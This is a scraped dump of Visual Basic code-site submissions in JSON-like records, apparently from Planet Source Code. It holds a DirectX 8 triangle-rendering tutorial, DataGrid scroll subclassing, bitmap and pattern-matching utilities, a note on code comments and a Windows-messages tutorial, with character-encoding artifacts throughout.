g_VB(1) = g_D3DDevice.CreateVertexBuffer(VertexSizeInBytes * 3, _ \n0, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT) \nIf g_VB(1) Is Nothing Then Exit Function \n \nD3DVertexBuffer8SetData g_VB(1), 0, VertexSizeInBytes * 3, 0, Vertices(0) \n \n'----------------------------------------------------------------------------- \n \nWith Vertices(0): .x = 0: .y = 1: .z = 0: .color = &HFF00FFFF: End With \nWith Vertices(1): .x = 1: .y = -1: .z = 0: .color = &HFFFF0000: End With \nWith Vertices(2): .x = 0: .y = -1: .z = 1: .color = &HFFFF0000: End With \n \nSet g_VB(2) = g_D3DDevice.CreateVertexBuffer(VertexSizeInBytes * 3, _ \n0, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT) \nIf g_VB(2) Is Nothing Then Exit Function \n \nD3DVertexBuffer8SetData g_VB(2), 0, VertexSizeInBytes * 3, 0, Vertices(0) \n \n'----------------------------------------------------------------------------- \n \nWith Vertices(0): .x = -1: .y = -1: .z = 0: .color = &HFFFF0000: End With \nWith Vertices(1): .x = 0: .y = 1: .z = 0: .color = &HFF00FFFF: End With \nWith Vertices(2): .x = 0: .y = -1: .z = 1: .color = &HFFFF0000: End With \n \nSet g_VB(3) = g_D3DDevice.CreateVertexBuffer(VertexSizeInBytes * 3, _ \n0, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT) \nIf g_VB(3) Is Nothing Then Exit Function \n \nD3DVertexBuffer8SetData g_VB(3), 0, VertexSizeInBytes * 3, 0, Vertices(0) \n \n'----------------------------------------------------------------------------- \n \n'Tell Form_load we succeeded \nInitGeometry = True \n \nEnd Function \n \nSub Cleanup() \n'Sets all our DX stuff to nowt to avoid keeping the stuff in memory when \n'we unload \nSet g_VB = Nothing \nSet g_D3DDevice = Nothing \nSet g_D3D = Nothing \nEnd Sub \n \nSub Render() \n \n \n'Draw, rotate etc our scene \nDim v As CUSTOMVERTEX \nDim sizeOfVertex As Long \n \n \nIf g_D3DDevice Is Nothing Then Exit Sub \n \n' Clear the backbuffer to a blue color, and clear the Z-Buffer \ng_D3DDevice.Clear 0, ByVal 0, D3DCLEAR_TARGET Or D3DCLEAR_ZBUFFER, &HFF&, 1, 0 \n \n' Begin the scene \ng_D3DDevice.BeginScene \n \n \n' Setup the view/rotation etc \nSetupMatrices \n \n'Draw the triangles in the vertex buffer \nsizeOfVertex = Len(v) \n \n'Set what triangle we will use \ng_D3DDevice.SetStreamSource 0, g_VB(0), sizeOfVertex \n'Tell DX this is our custom vertex type \ng_D3DDevice.SetVertexShader D3DFVF_CUSTOMVERTEX \n'draw it... \ng_D3DDevice.DrawPrimitive D3DPT_TRIANGLELIST, 0, 1 \n \n'--------------------------------------------------- \n \ng_D3DDevice.SetStreamSource 0, g_VB(1), sizeOfVertex \ng_D3DDevice.DrawPrimitive D3DPT_TRIANGLELIST, 0, 1 \n \n'--------------------------------------------------- \n \ng_D3DDevice.SetStreamSource 0, g_VB(2), sizeOfVertex \ng_D3DDevice.DrawPrimitive D3DPT_TRIANGLELIST, 0, 1 \n \n'--------------------------------------------------- \n \ng_D3DDevice.SetStreamSource 0, g_VB(3), sizeOfVertex \ng_D3DDevice.DrawPrimitive D3DPT_TRIANGLELIST, 0, 1 \n \n'--------------------------------------------------- \n \n' End the scene \ng_D3DDevice.EndScene \n \n'Transfer the stuff from the backbuffer to the front were we can see it \ng_D3DDevice.Present ByVal 0, ByVal 0, 0, ByVal 0 \n \nEnd Sub \n \nFunction vec3(x As Single, y As Single, z As Single) As D3DVECTOR \n'helps us create the vertex's easier \nvec3.x = x \nvec3.y = y \nvec3.z = z \nEnd Function\n┬á\n<h1><-- END CODE --></h1>\n┬á\nOk so this doesnt teach you every aspect of DirectX8 but\nit is the basics that most people will give up on so I hope this helps you people to get\nstarted in DirectX8\nOk so now what else is there to do for you after you get\nmy code:\n*\nRead it (comments mainly) and understand \n* Adapt\nit to make a cube for example to make a cube (remember only to use tri-angles) \n*\nOnce you understand my code understand other peoples code on this site \n*\nAnd once youve done that goto <a href=\"http://www.microsoft.com\">www.microsoft.com</a> and\ndownload the DirectX 8 VB SDK and learn from that\nOk, so i hope this helped all of you\nreading this, if anyone has a DirectX\n8 Collision Detection thing\nor knows how to do it mail me or leave a message here\nIf you liked/understand/want to\nuse this code PLEASE vote<font\nface=\"Tahoma\" size=\"2\" color=\"#000000\"> and leave comments. Theres nothing worse than\npeople who dont appreciate others work. Thanks.....\nBy Nick Ridley\n<img src=\"http://www.geocities.com/nike+guy/spydernetlogo.gif\" width=\"200\" height=\"200\"\nalt=\"spydernetlogo.gif (6511 bytes)\">\n\n┼í<a\nhref=\"mailto:time_to_die_@excite.com\">Mail Me!</a> \n\"<a href=\"http://www.spyder.tk\">Web Site</a>\nIf you find any bugs in my code please leave\ndetails of your computer and any error messages below :)\n"},{"WorldId":1,"id":32332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30391,"LineNumber":1,"line":"\n'This is for a form with a datagrid\nOption Explicit\nPrivate m_Grid_Subclassed As Boolean\nPrivate Const msCustomMessageName As String = \"MsgBlasterCustomMessage\"\nPrivate mlCustomMessageID As Long\nPrivate rglMsgIDs() As Long\nImplements IMsgTarget\nPrivate Sub Form_Load()\n'Open a recordset and bind the grid to it here\n Call SubClassGrid\n \nEnd Sub\nPrivate Sub SubClassGrid()\n \nOn Error GoTo SubClass_Error\n If Not m_Grid_Subclassed = True Then\n \n 'To prevent it from trying again, since that can cause problems\n m_Grid_Subclassed = True\n \n ' Register our custom message to get the message id.\n mlCustomMessageID = RegisterWindowMessage(msCustomMessageName)\n \n 'The windows messages we are interested in are WM_VSCROLL and WM_HSCROLL\n ReDim rglMsgIDs(1 To 3) As Long\n rglMsgIDs(1) = WM_VSCROLL\n rglMsgIDs(2) = WM_HSCROLL\n rglMsgIDs(3) = mlCustomMessageID\n \n MsgBlaster.SubclassWindow DataGrid1.hWnd, Me, rglMsgIDs\n \n End If\nExit Sub\nSubClass_Error:\n \n 'Since this is not a critical error, just ignore it for the user\n Exit Sub\nEnd Sub\nPrivate Function IMsgTarget_OnMsg( _\n ByVal hWnd As Long, _\n ByVal msg As Long, _\n ByVal wParam As Long, _\n ByVal lParam As Long) As Long\n \n Dim LOBYTE As Integer\n Dim HIBYTE As Integer\n Dim nRes As Long\n Dim fEat As Boolean\n Dim intAction As Integer\n Dim pVert As Boolean\n \nOn Error GoTo SubClass_Error\n \n 'If this is False, the message will be passed along the chain\n 'If it is True, it will not be passed on\n fEat = False\n intAction = 0\n \n Select Case msg\n \n Case WM_VSCROLL\n \n nRes = MsgBlaster.GetHiLoByte(wParam, LOBYTE, HIBYTE)\n If LOBYTE = SB_THUMBTRACK Or LOBYTE = SB_PAGEDOWN Or LOBYTE = SB_PAGEUP Then\n fEat = True\n intAction = 1\n pVert = True\n End If\n \n Case WM_HSCROLL\n \n nRes = MsgBlaster.GetHiLoByte(wParam, LOBYTE, HIBYTE)\n If LOBYTE = SB_THUMBTRACK Then\n fEat = True\n intAction = 1\n pVert = False\n End If\n \n Case mlCustomMessageID\n 'lstLog.AddItem msCustomMessageName & vbTab & \"wParam=0x\" & Hex$(wParam) & vbTab & \"lParam=0x\" & Hex$(lParam)\n End Select\n \n If fEat = False Then\n IMsgTarget_OnMsg = _\n MsgBlaster.CallOrigWndProc(hWnd, msg, wParam, lParam)\n Exit Function\n Else\n IMsgTarget_OnMsg = 1& 'Non-zero means we ate it\n End If\n \n If intAction = 1 Then SetScrollType pVert, LOBYTE\n \nExit Function\nSubClass_Error:\n Exit Function\n \nEnd Function\nPrivate Sub SetScrollType(ByVal pVert As Boolean, ByVal pLoByte As Integer)\n \n Dim hWndVert As Long\n Dim hWndHorz As Long\n Dim typScroll As SCROLLINFO\n Dim i As Integer\n \n 'Looking for Vertical scroll bar\n hWndVert = FindWindowEx(DataGrid1.hWnd, 0&, \"ScrollBar\", vbNullString)\n 'Looking for Horizontal scroll bar\n hWndHorz = FindWindowEx(DataGrid1.hWnd, hWndVert, \"ScrollBar\", vbNullString)\n \n If pVert = True Then\n If Not hWndVert = 0 Then\n typScroll.cbSize = LenB(typScroll)\n typScroll.fMask = 31\n If GetScrollInfo(hWndVert, SB_CTL, typScroll) <> 0 Then\n Select Case pLoByte\n Case SB_THUMBTRACK\n DataGrid1.Scroll 0, typScroll.nTrackPos - typScroll.nPos\n Case SB_PAGEDOWN\n For i = 1 To DataGrid1.VisibleRows - 1\n DataGrid1.Scroll 0, 1\n Sleep 25\n Next i\n Case SB_PAGEUP\n For i = 1 To DataGrid1.VisibleRows - 1\n DataGrid1.Scroll 0, -1\n Sleep 25\n Next i\n End Select\n End If\n End If\n Else\n If Not hWndHorz = 0 Then\n typScroll.cbSize = LenB(typScroll)\n typScroll.fMask = 31\n If GetScrollInfo(hWndHorz, SB_CTL, typScroll) <> 0 Then\n DataGrid1.Scroll typScroll.nTrackPos - typScroll.nPos, 0\n End If\n End If\n End If\nEnd Sub\n\n"},{"WorldId":1,"id":30203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30243,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34725,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26173,"LineNumber":1,"line":"Private Declare Function ShellExecute Lib \"shell32.dll\" Alias \"ShellExecuteA\" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\nConst conSwNormal = 1\n\nShellExecute hwnd, \"open\", \"http://webaddress.com\", vbNullString, vbNullString, conSwNormal"},{"WorldId":1,"id":28418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29385,"LineNumber":1,"line":"IntroductionHave you ever downloaded a file on PSC just to realize it has no comments what so ever and the code is some of the worst structured/named code you have ever seen? Well it most likely got a bad vote, and no one liked it...Well this is one of the many reasons Micrsoft has allowed for comments in Visual Basic Projects.\nHow to start a comment\nYou start a comment by adding a \"'\" (Apostrophe) mark(Apostrophe) mark or by using a \"Rem:\" as the beginning of a comment Line. Notice this only refers to a line, not a paragraph. If you want to make paragraphs you have to use the Line continuation character \"_\" at the end of each line that you want to seperate. The text then in turn becomes green (or what ever comment code is colored in your options, by default it is green) and you may begin to proceed typing what you want.\nWhen to use them\nYou should try to use comments whenever possible. Use them for variables, to tell what the variable does. Use it in procedures to say what the purpose is for. Use them whenever.\nFeedback\nWhat is the purpose of feed back? To tell the author what you think of the program, any bugs that can be found, what should be removed or added. But why doesn't half the people on PSC ever give some sort of appreciation or comments about a users work. At least try to show that you like the code by Voting. This is a very useful tool, to rate the authors work. If everyone left feedback, then we would have much better submissions, and much better updates. Another thing to note is that Don't ever post an article, which is in turn actually a question that wasn't answered in the forums. All though these forums, aren't very active, still look around your answer maybe found in the millions of lines of code in PSC. Good luck all!<a href=\"http://www.geocities.com/dragonfire_software/mainframes.html\">Dragonfire Software</a>\n(Note: Fixed HTML)"},{"WorldId":1,"id":28751,"LineNumber":1,"line":"Public Function Match(Name As String, Pattern As String) As Boolean\n If MatchCase(LCase(Name), LCase(Pattern)) Then Match = True\nEnd Function\n\nPublic Function MatchCase(Name As String, Pattern As String) As Boolean\n Pattern = PreparePattern(Pattern)\n If Name Like Pattern Then MatchCase = True\nEnd Function\nPrivate Function PreparePattern(Pattern As String) As String\n Pattern = Replace(Pattern, \"[\", \"[[]\")\n Pattern = Replace(Pattern, \"#\", \"[#]\")\n PreparePattern = Pattern\nEnd Function"},{"WorldId":1,"id":29537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28270,"LineNumber":1,"line":"Option Explicit\n\nPrivate Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function DeleteDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function GetObjectAPI Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long\nPrivate Declare Function LoadImage Lib \"user32\" Alias \"LoadImageA\" (ByVal hInst As Long, ByVal lpsz As String, ByVal un1 As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal un2 As Long) As Long\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\n\nPrivate Const IMAGE_BITMAP As Long = 0\nPrivate Const LR_LOADFROMFILE As Long = &H10\nPrivate Const LR_CREATEDIBSECTION As Long = &H2000\n\nPublic Type BITMAP\n bmType As Long\n bmWidth As Long\n bmHeight As Long\n bmWidthBytes As Long\n bmPlanes As Integer\n bmBitsPixel As Integer\n bmBits As Long\nEnd Type\n\nPublic Function GenerateDC(ByVal FileName As String, BitmapProperties As BITMAP) As Long\nDim DC As Long\nDim hBitmap As Long\nDC = CreateCompatibleDC(0)\nIf DC < 1 Then\n GenerateDC = 0\n Exit Function\nEnd If\nhBitmap = LoadImage(0, FileName, IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE Or LR_CREATEDIBSECTION)\nIf hBitmap = 0 Then\n DeleteDC DC\n GenerateDC = 0\n Exit Function\nEnd If\nGetObjectAPI hBitmap, Len(BitmapProperties), BitmapProperties\nSelectObject DC, hBitmap\nGenerateDC = DC\nDeleteObject hBitmap\nEnd Function\n\nPublic Function DeleteGeneratedDC(DC As Long) As Long\nIf DC > 0 Then\n DeleteGeneratedDC = DeleteDC(DC)\nElse\n DeleteGeneratedDC = 0\nEnd If\nEnd Function\n'Gimme somefeedback and votes please. Thats the only time I'm gonna ask"},{"WorldId":1,"id":34112,"LineNumber":1,"line":"<html xmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:w=\"urn:schemas-microsoft-com:office:word\"\nxmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Word.Document>\n<meta name=Generator content=\"Microsoft Word 9\">\n<meta name=Originator content=\"Microsoft Word 9\">\n<link rel=File-List href=\"./Windows%20Messages%20tutorial_files/filelist.xml\">\n<title>Windows Programming</title>\n\n<style>\n\n</style>\n</head>\n<body lang=EN-GB link=blue vlink=purple style='tab-interval:36.0pt'>\n<div class=Section1>\n<h2 align=center style='text-align:center'>Windows Programming</h2>\n<h2 align=center style='text-align:center'>Part 1 ΓÇô Messages</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHow does the Window Operating System know what you are\ndoing? How does it know when you click, where you click and with what button\nyou click? How does it know when you press a key, what key you pressed and what\nwindow you are typing in?┬á There are\nmany questions with only one simple answer. The answer being a message system.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere are many hundreds of common Windows messages, which\ninclude the left mouse click, the right mouse click and also the key down, and\nkey up messages. There are other messages other than those used to indicate\nuser input. There is also a message for instance that tells a window to repaint\n(or redraw) itself and also a timer message.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo how do applications receive these messages? The answer is\na ΓÇ£window procedureΓÇ¥, although not official, it is generally agreed that it\nshould be called ΓÇ£WindowProcΓÇ¥. The window procedure is a function that will be\ncalled every time a message is sent to that window. It must be declared as a\npublic function in a module! It looks like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Public<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Function<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> WindowProc(<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> hwnd <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> uMsg <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, _ <o:p></o:p>\nByVal wParam As Long, ByVal lParam As Long) As Long<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nParameters: -\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á hwnd ΓÇô The window\nhandle of your window. A window handle is a unique number, which is assigned to\nyour window. Whenever you call an API function that wants to do something with\nyour window, you must pass the hwnd property\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nuMsg ΓÇô This is the number of the message that was sent your\nwindow. For example:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Const WM_DRAWCLIPBOARD = &H308┬á\nΓÇÿDeclare this message as a┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á const, making it easier to deal with.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou\nwould then use it like this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDeclare Function CallWindowProc Lib "user32" <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Alias<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\n"CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> Msg <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> wParam <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> lParam <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>) <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\"'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nΓÇÿ...In windowproc<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSelect case\nuMsg<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á Case <span\nstyle='color:black'>DRAWCLIPBOARD<o:p></o:p>\n┬á┬á┬á <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>ΓÇÿThe data in the\nclipboard has changed, so do something<o:p></o:p>\n┬á <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>ΓÇÿCase ... Other\nmessages go here<o:p></o:p>\n┬á <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Case Else<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á WindowProc = CallWindowProc(PrevProc,\nhwnd, uMsg, wParam,┬á┬á lParam) <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>ΓÇÿProcess all\nthose other messages that we donΓÇÖt care about<o:p></o:p>\nEnd select<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nwParam/lParam ΓÇô These are general parameters and can store pretty\nmuch any values including other sub-messages. If memory serves me correctly\nthen the mouse move message comes with the X and Y coordinates of the mouse\nstored in the wParam and lParam parameters.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow some of you may be thinking, ΓÇ£I hope I donΓÇÖt have to\nprocess all of the hundreds of messages, my code could be thousands of lines\nlongΓÇ¥. For those of you who werenΓÇÖt, well you are now. The answer is thankfully\nno. There is a default window procedure that will carry out the basic commands\nlike painting your window, resizing it, moving it, giving it focus, and all of\nthe hundreds of other things.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWe have a lot of control when it comes to messages. We can\ncreate our own messages, send messages to the system and look at all the\nmessages in the message queue. Consider the following API functions:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Declare Function <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>GetMessage <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Lib<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\n"user32" Alias "GetMessageA" (lpMsg As Msg, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> hWnd <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> wMsgFilterMin <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> wMsgFilterMax <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>) <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Declare Function<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\nTranslateMessage Lib "user32" (lpMsg As Msg) As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Declare Function<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> DispatchMessage\nLib<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\n"user32" Alias "DispatchMessageA" (lpMsg <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> Msg) <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Type<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> POINTAPI<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á x As Long<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á y As Long<o:p></o:p>\nEnd Type<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Type Msg<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á hWnd As Long<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á message As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á wParam As Long<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á lParam As Long<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á time As Long<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á pt As POINTAPI<o:p></o:p>\nEnd Type<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nComplicated looking isnΓÇÖt it? We can use these API\nfunctions as follows:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim aMsg <span\nstyle='color:navy'>as Msg\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Call<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> GetMessage\n(aMsg, 0, 0, 0)<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Call<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\nTranslateMessage (aMsg)<o:p></o:p>\nCall DispatchMessage (aMsg)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI think that is pretty self-explanatory. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nVB has a built in message handler in its form object. This\nis where the events come from on your forms, and also the controls as well.\nThese events are just generated whenever the corresponding messages are detected\nin the window Procedure. And the X and Y values in the MouseDown event for\nexample are just extracted from the lParam and wParam 